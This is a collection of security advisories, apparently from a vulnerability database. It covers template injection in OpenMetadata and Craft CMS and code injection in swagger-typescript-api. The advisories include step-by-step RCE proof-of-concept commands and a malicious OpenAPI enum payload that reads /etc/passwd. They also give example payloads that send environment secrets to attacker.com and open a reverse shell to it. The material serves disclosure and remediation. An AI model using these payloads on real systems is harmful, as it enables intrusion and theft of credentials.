EmailTemplate via PATCH endpoint\n\n```bash\nPATCH /api/v1/docStore/{templateId}\nAuthorization: Bearer \u003cadmin_jwt_token\u003e\nContent-Type: application/json-patch+json\n\n[\n  {\n    \"op\": \"replace\",\n    \"path\": \"/data/template\",\n    \"value\": \"\u003c#assign ex=\\\"freemarker.template.utility.Execute\\\"?new()\u003e\u003cp\u003eRCE: ${ ex(\\\"whoami\\\") }\u003c/p\u003e\"\n  }\n]\n```\n\n**Step 2**: Malicious template stored in MySQL database:\n\n```sql\nSELECT name, JSON_EXTRACT(json, \u0027$.data.template\u0027) \nFROM docstore \nWHERE name = \u0027account-activity-change\u0027;\n\n-- Returns: \u003c#assign ex=\\\"freemarker.template.utility.Execute\\\"?new()\u003e...\n```\n\n**Step 3**: Trigger template rendering via email notification:\n- Password change\n- User invitation\n- Account activity notification\n- Test email (if SMTP configured)\n\n**Step 4**: RCE execution in `DefaultTemplateProvider.getTemplate()`:\n\n```java\nTemplate template = templateProvider.getTemplate(\"account-activity-change\");\ntemplate.process(model, stringWriter); // \u2190 COMMAND EXECUTES HERE AS SERVER USER!\n```\n\n---\n\n## Exploit Verification\n\n### Environment\n\n- **Version**: OpenMetadata 1.11.2 (Latest)\n- **Platform**: Docker Compose (MySQL 8.0 + Elasticsearch 8.11.4)\n- **Test Date**: December 15, 2025\n\n### Step-by-Step Reproduction\n\n#### 1. Deploy OpenMetadata 1.11.2\n\n```bash\ncd docker\n./run_local_docker.sh -m no-ui -d mysql\n```\n\n**Result**: \u2705 OpenMetadata running on localhost:8585\n\n#### 2. Obtain Admin JWT Token\n\n```bash\nexport NO_PROXY=localhost,127.0.0.1\nTOKEN=$(curl -s -X POST http://localhost:8585/api/v1/users/login \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"email\":\"admin@open-metadata.org\",\"password\":\"YWRtaW4=\"}\u0027 \\\n  | grep -o \u0027\"accessToken\":\"[^\"]*\u0027 | cut -d\u0027\"\u0027 -f4)\n\necho \"Token: ${TOKEN:0:50}...\"\n```\n\n**Result**: \u2705 Token obtained (654 characters, 1-hour expiry)\n\n#### 3. Identify Target Template\n\n```bash\n# Get testMail template ID (used by test email endpoint)\ncurl -s \"http://localhost:8585/api/v1/docStore?entityType=EmailTemplate\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  | jq -r \u0027.data[] | select(.name==\"testMail\") | .id\u0027\n```\n\n**Result**: \u2705 Template ID: `855f58c6-1b80-467a-b92e-71c425e9bfdb`\n\n#### 4. Inject RCE Payload\n\n```bash\ncurl -X PATCH \"http://localhost:8585/api/v1/docStore/855f58c6-1b80-467a-b92e-71c425e9bfdb\" \\\n  -H \"Content-Type: application/json-patch+json\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d \u0027[{\n    \"op\": \"replace\",\n    \"path\": \"/data/template\",\n    \"value\": \"\u003c#assign ex=\\\"freemarker.template.utility.Execute\\\"?new()\u003eRCE OUTPUT: ${ex(\\\"whoami\\\")} - ${ex(\\\"pwd\\\")}\"\n  }]\u0027\n```\n\n**Result**: \u2705 **HTTP 200 OK** - Template modified successfully\n\n**Response Excerpt**:\n```json\n{\n  \"id\": \"855f58c6-1b80-467a-b92e-71c425e9bfdb\",\n  \"name\": \"testMail\",\n  \"entityType\": \"EmailTemplate\",\n  \"data\": {\n    \"template\": \"\u003c#assign ex=\\\"freemarker.template.utility.Execute\\\"?new()\u003eRCE OUTPUT: ${ex(\\\"whoami\\\")} - ${ex(\\\"pwd\\\")}\"\n  },\n  \"changeDescription\": {\n    \"fieldsUpdated\": [\n      {\n        \"name\": \"data\",\n        \"oldValue\": \"{\\\"template\\\":\\\"\u003c!DOCTYPE HTML ...ORIGINAL_TEMPLATE...\\\"}\",\n        \"newValue\": \"{\\\"template\\\":\\\"\u003c#assign ex=\\\\\\\"freemarker.template.utility.Execute\\\\\\\"?new()\u003eRCE OUTPUT: ${ex(\\\\\\\"whoami\\\\\\\")} - ${ex(\\\\\\\"pwd\\\\\\\")}\\\"}\"\n      }\n    ]\n  }\n}\n```\n\n#### 5. Setup SMTP Server\n\n```bash\n# Start MailDev SMTP server (catches emails for verification)\ndocker run -d --name fakesmtp \\\n  --network linhln31_default \\\n  -p 1025:1025 -p 1080:1080 \\\n  maildev/maildev:latest\n\n# Update OpenMetadata SMTP configuration\ndocker exec om_mysql mysql -uopenmetadata_user -popenmetadata_password \\\n  -Dopenmetadata_db -e \"UPDATE openmetadata_settings \n  SET json=JSON_SET(json, \n    \u0027$.serverEndpoint\u0027, \u0027fakesmtp\u0027, \n    \u0027$.serverPort\u0027, 1025, \n    \u0027$.transportationStrategy\u0027, \u0027SMTP\u0027,\n    \u0027$.enableSmtpServer\u0027, true,\n    \u0027$.senderMail\u0027, \u0027noreply@openmetadata.org\u0027\n  ) \n  WHERE configType=\u0027emailConfiguration\u0027;\"\n\n# Restart OpenMetadata to load new SMTP config\ndocker restart om_server\nsleep 50  # Wait for server startup\n```\n\n**Result**: \u2705 SMTP server ready at fakesmtp:1025\n\n#### 6. Trigger RCE Execution\n\n```bash\ncurl -X PUT \"http://localhost:8585/api/v1/system/email/test\" \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d \u0027{\"email\":\"test@test.com\"}\u0027\n```\n\n**Result**: \u2705 **HTTP 200 OK** - \"Test Email Sent Successfully.\"\n\n#### 7. Verify RCE Execution\n\n```bash\n# Check email content in MailDev\ndocker exec fakesmtp cat /tmp/maildev-1/*.eml | tail -10\n```\n\n**Result**: \u2705 **RCE CONFIRMED!**\n\n**Email Content**:\n```\nDate: Mon, 15 Dec 2025 17:03:20 +0000 (GMT)\nFrom: noreply@openmetadata.org\nTo: test@test.com\nMessage-ID: \u003c1307498173.2.1765818200564@62a9f8b5b6f2\u003e\nSubject: OpenMetadata : Test Email\nMIME-Version: 1.0\nContent-Type: text/html; charset=\"UTF-8\"\nContent-Transfer-Encoding: quoted-printable\n\nRCE OUTPUT: openmetadata\n - /opt/openmetadata\n```\n\n**Command Execution Proof**:\n- \u2705 `whoami` command executed \u2192 returned `openmetadata`\n- \u2705 `pwd` command executed \u2192 returned `/opt/openmetadata`\n- \u2705 Commands ran as server process user\n- \u2705 Full arbitrary command execution achieved\n\n---\n\n## Attack Scenarios\n\n### Scenario 1: Privilege Escalation\n\n1. Attacker compromises Admin account (phishing, credential stuffing, etc.)\n2. Injects RCE payload into `password-reset` template\n3. Triggers password reset for target user\n4. RCE executes as OpenMetadata server user during email rendering\n5. Attacker gains shell access to application server\n\n### Scenario 2: Data Exfiltration\n\n```freemarker\n\u003c#assign ex=\"freemarker.template.utility.Execute\"?new()\u003e\n${ex(\"cat /proc/self/environ | curl -X POST https://attacker.com/exfil -d @-\")}\n```\n\nExfiltrates environment variables containing:\n- Database credentials\n- API keys and secrets\n- JWT signing keys\n- Cloud provider credentials\n\n### Scenario 3: Reverse Shell\n\n```freemarker\n\u003c#assign ex=\"freemarker.template.utility.Execute\"?new()\u003e\n${ex(\"bash -c \u0027bash -i \u003e\u0026 /dev/tcp/attacker.com/4444 0\u003e\u00261\u0027\")}\n```\n\nEstablishes persistent access for:\n- Interactive command execution\n- Lateral movement to connected systems\n- Database direct access\n- Kubernetes cluster compromise (if containerized)\n\n---\n\n## Impact Assessment\n\n### Technical Impact\n\n- **Confidentiality**: **HIGH** - Access to database credentials, API keys, secrets\n- **Integrity**: **HIGH** - Full control over OpenMetadata application and data\n- **Availability**: **HIGH** - Ability to crash application, delete data, deny service\n\n### Business Impact\n\n- **Data Breach**: Access to all metadata including sensitive schema information, PII mappings, data lineage\n- **Compliance**: GDPR, SOC2, HIPAA violations if exploited\n- **Reputation**: Critical security failure in data governance platform\n- **Supply Chain**: Potential pivot to connected data sources (70+ connectors)\n\n### CVSS 3.1 Score\n\n```\nCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H\n```\n\n- **Attack Vector (AV)**: Network (N)\n- **Attack Complexity (AC)**: Low (L) - Simple API requests\n- **Privileges Required (PR)**: High (H) - Admin role required\n- **User Interaction (UI)**: None (N)\n- **Scope (S)**: Changed (C) - Impacts beyond application (server OS)\n- **Confidentiality (C)**: High (H)\n- **Integrity (I)**: High (H)\n- **Availability (A)**: High (H)\n\n**Score**: **9.1 (CRITICAL)**\n\n---\n\n## Remediation\n\n### Immediate Fix (CRITICAL)\n\n**File**: `openmetadata-service/src/main/java/org/openmetadata/service/util/DefaultTemplateProvider.java`\n\n**Replace lines 38-42 with:**\n\n```java\npublic Template getTemplate(String templateName) throws IOException {\n    EmailTemplate emailTemplate = documentRepository.fetchEmailTemplateByName(templateName);\n    String template = emailTemplate.getTemplate();\n    \n    if (nullOrEmpty(template)) {\n        throw new IOException(\"Template content not found for template: \" + templateName);\n    }\n    \n    // SECURITY FIX: Create sandboxed FreeMarker configuration\n    Configuration cfg = new Configuration(Configuration.VERSION_2_3_31);\n    \n    // Block dangerous built-ins\n    cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);\n    cfg.setAPIBuiltinEnabled(false);\n    cfg.setClassicCompatible(false);\n    \n    // Restrict template loading\n    cfg.setTemplateLoader(new StringTemplateLoader());\n    \n    return new Template(templateName, new StringReader(template), cfg);\n}\n```\n---",
  "id": "GHSA-5f29-2333-h9c7",
  "modified": "2026-08-31T23:00:24Z",
  "published": "2026-01-07T19:33:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-metadata/OpenMetadata/security/advisories/GHSA-5f29-2333-h9c7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22244"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-metadata/OpenMetadata/commit/bffe7c45807763f9b682021d4211c478d2a08bb3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-metadata/OpenMetadata/commit/d17d13cee87db139e5d8f778547174f8ee341108"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-metadata/OpenMetadata"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenMetadata\u0027s Server-Side Template Injection (SSTI) in FreeMarker email templates leads to RCE"
}

GHSA-5F94-X226-CCPM

Vulnerability from github – Published: 2026-07-29 14:33 – Updated: 2026-07-29 14:33
VLAI
Summary
swagger-typescript-api vulnerable to code injection via unescaped enum string values
Details

Summary

swagger-typescript-api interpolates components.schemas.*.enum[i] string values into the body of generated TypeScript enum declarations without escaping. A malicious enum value can close the enclosing string literal, terminate the enum body, and inject a bare-block IIFE that executes at module load the first time the generated client is imported. The trigger requires no instantiation and no method call — only an import of the generated module. The attacker controls the OpenAPI spec (remote --url, third-party / public spec, multi-tenant platform); the victim is whoever runs the generator and imports the result (the developer, their CI runner, or any downstream consumer of the generated package). Impact is arbitrary code execution with the importing process's privileges — read any file the importer can read, write any file, exfiltrate secrets, etc.

Details

The root cause is Ts.StringValue in src/configuration.ts:250:

StringValue: (content: unknown) => `"${content}"`,

It wraps a value in double quotes with zero escaping — no handling of ", \, newlines, or anything else. The codebase's only escape function (escapeJSDocContent in src/schema-parser/schema-formatters.ts:127) only replaces */ and is never applied to this path.

Enum string values reach Ts.StringValue at src/schema-parser/base-schema-parsers/enum.ts:100 and :116:

return this.config.Ts.StringValue(value);
// ...
value: this.config.Ts.StringValue(enumName),

The result is interpolated raw into the enum body in templates/base/enum-data-contract.ejs (default enumStyle: "enum" branch, lines 24-31):

export enum <%~ name %> {
  <%~ _.map($content, ({ key, value, description }) => {
    ...
    return [
      formattedDescription && `/** ${formattedDescription} */`,
      `${key} = ${value}`
    ].filter(Boolean).join("\n");
  }).join(",\n") %>
}

Where ${value} is the result of Ts.StringValue — raw "${content}". An attacker-controlled enum value containing a " closes the string and exposes the surrounding code position to injection.

A ;} sequence terminates the enum body mid-stream. A { opens a bare block at module top level. An async IIFE inside that block runs at module load. A trailing // consumes the closing " that Ts.StringValue still appends, and the template's own closing } of the enum becomes the closing } of the bare block. Resulting TypeScript parses cleanly, bundles cleanly through esbuild, and the IIFE fires on bare await import('./generated.js').

The same Ts.StringValue function is also called from src/schema-parser/schema-utils.ts:215,406, src/schema-parser/base-schema-parsers/object.ts:47, and src/schema-parser/base-schema-parsers/discriminator.ts:88,121,131,195. Those other call sites currently land in type-level positions (interface/type bodies) where the breakout cannot reach runtime — they are safe by accident of context, not by escaping. A fix that hardens Ts.StringValue itself protects those sites too as defense in depth.

PoC

Self-contained reproducer (run.sh runs end-to-end: install pinned package → generate from control + payload → bundle with esbuild → bare-import → check canary) is added in the comments. Tested on swagger-typescript-api@13.12.1 and Node v24.11.1.

Malicious enum value (literal string, JSON-encoded in the spec below):

blue";}<NEWLINE>{(async()=>{ try { const fs=await import('node:fs'); const d=fs.readFileSync('/etc/passwd','utf8'); fs.writeFileSync('/tmp/sta_canary',d); } catch(e){} })();//

Minimal payload spec:

{
  "openapi": "3.0.0",
  "info": { "title": "EnumPayloadAPI", "version": "1.0.0" },
  "components": {
    "schemas": {
      "Color": {
        "type": "string",
        "enum": [
          "red",
          "blue\";}\n{(async()=>{try{const fs=await import('node:fs');const d=fs.readFileSync('/etc/passwd','utf8');fs.writeFileSync('/tmp/sta_canary',d);}catch(e){}})();//"
        ]
      }
    }
  },
  "paths": {
    "/ping": {
      "get": {
        "operationId": "ping",
        "responses": {
          "200": {
            "description": "OK",
            "content": { "application/json": { "schema": { "$ref": "#/components/schemas/Color" } } }
          }
        }
      }
    }
  }
}

Steps:

npm install swagger-typescript-api@13.12.1 esbuild
node -e "import('swagger-typescript-api').then(m => m.generateApi({
  name: 'Api.ts', output: process.cwd() + '/out',
  input: process.cwd() + '/payload-spec.json', httpClientType: 'fetch'
}))"
npx esbuild out/Api.ts --bundle --format=esm --platform=node \
  --tsconfig-raw='{}' --outfile=out/Api.bundle.mjs
rm -f /tmp/sta_canary
node --input-type=module -e "await import('./out/Api.bundle.mjs'); await new Promise(r => setTimeout(r, 300));"
ls -la /tmp/sta_canary && cat /tmp/sta_canary

Generated out/Api.ts (enum block — payload):

    export enum Color {
  Red = "red",
  BlueAsyncTryConstFsAwaitImportNodeFsFs...CatchE = "blue";}
{(async()=>{try{const fs=await import('node:fs');const d=fs.readFileSync('/etc/passwd','utf8');fs.writeFileSync('/tmp/sta_canary',d);}catch(e){}})();//"
 }

The ;} closes the enum body. The {...} after it is a bare block at module top level. The async IIFE runs at module load and fires the canary. esbuild parses this as valid TypeScript and bundles cleanly.

Result: after bare import of the bundle, /tmp/sta_canary contains the full /etc/passwd of the importing process (1470 bytes on a typical Linux host). Control spec ("enum": ["red", "blue"]) generates a clean enum and writes no canary.

Impact

Type: Code injection in generated output (CWE-94) / template-engine injection (CWE-1336).

Affected use cases: any developer or pipeline that runs swagger-typescript-api against an OpenAPI spec they did not author entirely. Concrete scenarios:

  • sta generate --url https://attacker.example/openapi.json — a public, third-party, or attacker-hosted spec.
  • A CI/CD pipeline regenerating clients from a vendor / partner spec on each build.
  • A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs.
  • Any project pinned to a spec file that a contributor can modify via PR — the spec change is itself the exploit.

Lifecycle: the bare-block IIFE fires at module load. A consumer does not need to instantiate HttpClient, does not need to call any API method, does not need to use the enum value — they only need to import the generated module (or anything that transitively imports it, e.g. the data-contracts.ts file in modular mode). Importing a TypeScript types file is the absolute minimum interaction a consumer can have with a generated client, which makes this the highest-impact sink in the package.

Privilege: the IIFE runs with the full privileges of the importing process — read/write any file the process can access, network egress, environment-variable access, child-process spawn, etc.

Suggested fix: harden Ts.StringValue in src/configuration.ts:250 to produce a properly-escaped JavaScript string literal — escape at minimum ", \, \n, \r, \t, \b, \f, \v, \0, and the line/paragraph separators /. JSON.stringify on the content is a one-line acceptable implementation. This single change also protects every other call site of Ts.StringValue (currently safe only by accident of landing in type-level positions).

Submitted by: Hamza Haroon (thegr1ffyn)

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 13.12.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "swagger-typescript-api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "13.12.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54664"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-74",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-29T14:33:00Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`swagger-typescript-api` interpolates `components.schemas.*.enum[i]` string values into the body of generated TypeScript `enum` declarations without escaping. A malicious enum value can close the enclosing string literal, terminate the enum body, and inject a bare-block IIFE that executes at **module load** the first time the generated client is imported. The trigger requires no instantiation and no method call \u2014 only an `import` of the generated module. The attacker controls the OpenAPI spec (remote `--url`, third-party / public spec, multi-tenant platform); the victim is whoever runs the generator and imports the result (the developer, their CI runner, or any downstream consumer of the generated package). Impact is arbitrary code execution with the importing process\u0027s privileges \u2014 read any file the importer can read, write any file, exfiltrate secrets, etc.\n\n### Details\n\nThe root cause is `Ts.StringValue` in `src/configuration.ts:250`:\n\n```ts\nStringValue: (content: unknown) =\u003e `\"${content}\"`,\n```\n\nIt wraps a value in double quotes with **zero escaping** \u2014 no handling of `\"`, `\\`, newlines, or anything else. The codebase\u0027s only escape function (`escapeJSDocContent` in `src/schema-parser/schema-formatters.ts:127`) only replaces `*/` and is never applied to this path.\n\nEnum string values reach `Ts.StringValue` at `src/schema-parser/base-schema-parsers/enum.ts:100` and `:116`:\n\n```ts\nreturn this.config.Ts.StringValue(value);\n// ...\nvalue: this.config.Ts.StringValue(enumName),\n```\n\nThe result is interpolated raw into the enum body in `templates/base/enum-data-contract.ejs` (default `enumStyle: \"enum\"` branch, lines 24-31):\n\n```ejs\nexport enum \u003c%~ name %\u003e {\n  \u003c%~ _.map($content, ({ key, value, description }) =\u003e {\n    ...\n    return [\n      formattedDescription \u0026\u0026 `/** ${formattedDescription} */`,\n      `${key} = ${value}`\n    ].filter(Boolean).join(\"\\n\");\n  }).join(\",\\n\") %\u003e\n}\n```\n\nWhere `${value}` is the result of `Ts.StringValue` \u2014 raw `\"${content}\"`. An attacker-controlled enum value containing a `\"` closes the string and exposes the surrounding code position to injection.\n\nA `;}` sequence terminates the enum body mid-stream. A `{` opens a bare block at module top level. An async IIFE inside that block runs at module load. A trailing `//` consumes the closing `\"` that `Ts.StringValue` still appends, and the template\u0027s own closing `}` of the enum becomes the closing `}` of the bare block. Resulting TypeScript parses cleanly, bundles cleanly through esbuild, and the IIFE fires on bare `await import(\u0027./generated.js\u0027)`.\n\nThe same `Ts.StringValue` function is also called from `src/schema-parser/schema-utils.ts:215,406`, `src/schema-parser/base-schema-parsers/object.ts:47`, and `src/schema-parser/base-schema-parsers/discriminator.ts:88,121,131,195`. Those other call sites currently land in type-level positions (interface/type bodies) where the breakout cannot reach runtime \u2014 they are safe **by accident of context**, not by escaping. A fix that hardens `Ts.StringValue` itself protects those sites too as defense in depth.\n\n### PoC\n\nSelf-contained reproducer (`run.sh` runs end-to-end: install pinned package \u2192 generate from control + payload \u2192 bundle with esbuild \u2192 bare-import \u2192 check canary) is added in the comments. Tested on `swagger-typescript-api@13.12.1` and Node `v24.11.1`.\n\n**Malicious enum value** (literal string, JSON-encoded in the spec below):\n\n```\nblue\";}\u003cNEWLINE\u003e{(async()=\u003e{ try { const fs=await import(\u0027node:fs\u0027); const d=fs.readFileSync(\u0027/etc/passwd\u0027,\u0027utf8\u0027); fs.writeFileSync(\u0027/tmp/sta_canary\u0027,d); } catch(e){} })();//\n```\n\n**Minimal payload spec:**\n\n```json\n{\n  \"openapi\": \"3.0.0\",\n  \"info\": { \"title\": \"EnumPayloadAPI\", \"version\": \"1.0.0\" },\n  \"components\": {\n    \"schemas\": {\n      \"Color\": {\n        \"type\": \"string\",\n        \"enum\": [\n          \"red\",\n          \"blue\\\";}\\n{(async()=\u003e{try{const fs=await import(\u0027node:fs\u0027);const d=fs.readFileSync(\u0027/etc/passwd\u0027,\u0027utf8\u0027);fs.writeFileSync(\u0027/tmp/sta_canary\u0027,d);}catch(e){}})();//\"\n        ]\n      }\n    }\n  },\n  \"paths\": {\n    \"/ping\": {\n      \"get\": {\n        \"operationId\": \"ping\",\n        \"responses\": {\n          \"200\": {\n            \"description\": \"OK\",\n            \"content\": { \"application/json\": { \"schema\": { \"$ref\": \"#/components/schemas/Color\" } } }\n          }\n        }\n      }\n    }\n  }\n}\n```\n\n**Steps:**\n\n```bash\nnpm install swagger-typescript-api@13.12.1 esbuild\nnode -e \"import(\u0027swagger-typescript-api\u0027).then(m =\u003e m.generateApi({\n  name: \u0027Api.ts\u0027, output: process.cwd() + \u0027/out\u0027,\n  input: process.cwd() + \u0027/payload-spec.json\u0027, httpClientType: \u0027fetch\u0027\n}))\"\nnpx esbuild out/Api.ts --bundle --format=esm --platform=node \\\n  --tsconfig-raw=\u0027{}\u0027 --outfile=out/Api.bundle.mjs\nrm -f /tmp/sta_canary\nnode --input-type=module -e \"await import(\u0027./out/Api.bundle.mjs\u0027); await new Promise(r =\u003e setTimeout(r, 300));\"\nls -la /tmp/sta_canary \u0026\u0026 cat /tmp/sta_canary\n```\n\n**Generated `out/Api.ts` (enum block \u2014 payload):**\n\n```ts\n    export enum Color {\n  Red = \"red\",\n  BlueAsyncTryConstFsAwaitImportNodeFsFs...CatchE = \"blue\";}\n{(async()=\u003e{try{const fs=await import(\u0027node:fs\u0027);const d=fs.readFileSync(\u0027/etc/passwd\u0027,\u0027utf8\u0027);fs.writeFileSync(\u0027/tmp/sta_canary\u0027,d);}catch(e){}})();//\"\n }\n```\n\nThe `;}` closes the enum body. The `{...}` after it is a bare block at module top level. The async IIFE runs at module load and fires the canary. esbuild parses this as valid TypeScript and bundles cleanly.\n\n**Result:** after bare `import` of the bundle, `/tmp/sta_canary` contains the full `/etc/passwd` of the importing process (1470 bytes on a typical Linux host). Control spec (`\"enum\": [\"red\", \"blue\"]`) generates a clean enum and writes no canary.\n\n### Impact\n\n**Type:** Code injection in generated output (CWE-94) / template-engine injection (CWE-1336).\n\n**Affected use cases:** any developer or pipeline that runs `swagger-typescript-api` against an OpenAPI spec they did not author entirely. Concrete scenarios:\n\n- `sta generate --url https://attacker.example/openapi.json` \u2014 a public, third-party, or attacker-hosted spec.\n- A CI/CD pipeline regenerating clients from a vendor / partner spec on each build.\n- A multi-tenant SaaS that generates per-tenant clients from tenant-supplied specs.\n- Any project pinned to a spec file that a contributor can modify via PR \u2014 the spec change is itself the exploit.\n\n**Lifecycle:** the bare-block IIFE fires at **module load**. A consumer does not need to instantiate `HttpClient`, does not need to call any API method, does not need to use the enum value \u2014 they only need to `import` the generated module (or anything that transitively imports it, e.g. the `data-contracts.ts` file in modular mode). Importing a TypeScript types file is the absolute minimum interaction a consumer can have with a generated client, which makes this the highest-impact sink in the package.\n\n**Privilege:** the IIFE runs with the full privileges of the importing process \u2014 read/write any file the process can access, network egress, environment-variable access, child-process spawn, etc.\n\n**Suggested fix:** harden `Ts.StringValue` in `src/configuration.ts:250` to produce a properly-escaped JavaScript string literal \u2014 escape at minimum `\"`, `\\`, `\\n`, `\\r`, `\\t`, `\\b`, `\\f`, `\\v`, `\\0`, and the line/paragraph separators `` / ``. `JSON.stringify` on the content is a one-line acceptable implementation. This single change also protects every other call site of `Ts.StringValue` (currently safe only by accident of landing in type-level positions).\n\nSubmitted by: Hamza Haroon (thegr1ffyn)",
  "id": "GHSA-5f94-x226-ccpm",
  "modified": "2026-07-29T14:33:01Z",
  "published": "2026-07-29T14:33:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/acacode/swagger-typescript-api/security/advisories/GHSA-5f94-x226-ccpm"
    },
    {
      "type": "WEB",
      "url": "https://github.com/acacode/swagger-typescript-api/pull/1779"
    },
    {
      "type": "WEB",
      "url": "https://github.com/acacode/swagger-typescript-api/commit/306d59acb8ffbb00f953f807b97234b21f51d9de"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/acacode/swagger-typescript-api"
    },
    {
      "type": "WEB",
      "url": "https://github.com/acacode/swagger-typescript-api/releases/tag/v13.12.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "swagger-typescript-api vulnerable to code injection via unescaped enum string values"
}

GHSA-5FVC-7894-GHP4

Vulnerability from github – Published: 2026-03-03 21:01 – Updated: 2026-03-04 18:39
VLAI
Summary
Craft CMS has Twig Function Blocklist Bypass
Details

Craft CMS implements a blocklist to prevent potentially dangerous PHP functions from being called via Twig non-Closure arrow functions.

In order to be able to successfully execute this attack, you need to either have allowAdminChanges enabled on production, or a compromised admin account, or an account with access to the System Messages utility.

Several PHP functions are not included in the blocklist, which could allow malicious actors with the required permissions to execute various types of payloads, including RCEs, arbitrary file reads, SSRFs, and SSTIs.

Twig has already deprecated this behavior, and it will eventually be removed from Twig altogether.

https://github.com/twigphp/Twig/blob/946ddeafa3c9f4ce279d1f34051af041db0e16f2/src/Extension/CoreExtension.php#L2096

This has been resolved in Craft 4.17.0 and 5.9.0, which removes the blocklist and disables all non-Clousure arrow functions in Twig globally via the enableTwigSandbox config setting. That setting is enabled by default on all new Craft projects. Existing Craft projects will need to enable the config setting to take advantage of it.

Existing projects should update to the patched versions of 5.9.0 and 4.17.0 to mitigate the issue and enable the config setting.

Resources

https://github.com/craftcms/cms/pull/18208

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "craftcms/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0-RC1"
            },
            {
              "fixed": "5.9.0-beta.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "craftcms/cms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0-RC1"
            },
            {
              "fixed": "4.17.0-beta.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-28783"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336",
      "CWE-184",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-03T21:01:27Z",
    "nvd_published_at": "2026-03-04T17:16:21Z",
    "severity": "MODERATE"
  },
  "details": "Craft CMS implements a blocklist to prevent potentially dangerous PHP functions from being called via Twig non-Closure arrow functions.\n\nIn order to be able to successfully execute this attack, you need to either have `allowAdminChanges` enabled on production, or a compromised admin account, or an account with access to the System Messages utility.\n\nSeveral PHP functions are not included in the blocklist, which could allow malicious actors with the required permissions to execute various types of payloads, including RCEs, arbitrary file reads, SSRFs, and SSTIs.\n\nTwig has already deprecated this behavior, and it will eventually be removed from Twig altogether.\n\nhttps://github.com/twigphp/Twig/blob/946ddeafa3c9f4ce279d1f34051af041db0e16f2/src/Extension/CoreExtension.php#L2096\n\nThis has been resolved in Craft 4.17.0 and 5.9.0, which removes the blocklist and disables all non-Clousure arrow functions in Twig globally via the `enableTwigSandbox` config setting. That setting is enabled by default on all new Craft projects. Existing Craft projects will need to enable the config setting to take advantage of it.\n\nExisting projects should update to the patched versions of 5.9.0 and 4.17.0 to mitigate the issue and enable the config setting.\n\n## Resources\n\nhttps://github.com/craftcms/cms/pull/18208",
  "id": "GHSA-5fvc-7894-ghp4",
  "modified": "2026-03-04T18:39:13Z",
  "published": "2026-03-03T21:01:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/security/advisories/GHSA-5fvc-7894-ghp4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28783"
    },
    {
      "type": "WEB",
      "url": "https://github.com/craftcms/cms/pull/18208"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/craftcms/cms"
    },
    {
      "type": "WEB",
      "url": "https://github.com/twigphp/Twig/blob/946ddeafa3c9f4ce279d1f34051af041db0e16f2/src/Extension/CoreExtension.php#L2096"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:U",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Craft CMS has Twig Function Blocklist Bypass"
}

Mitigation
Architecture and Design

Choose a template engine that offers a sandbox or restricted mode, or at least limits the power of any available expressions, function calls, or commands.

Mitigation
Implementation

Use the template engine's sandbox or restricted mode, if available.

No CAPEC attack patterns related to this CWE.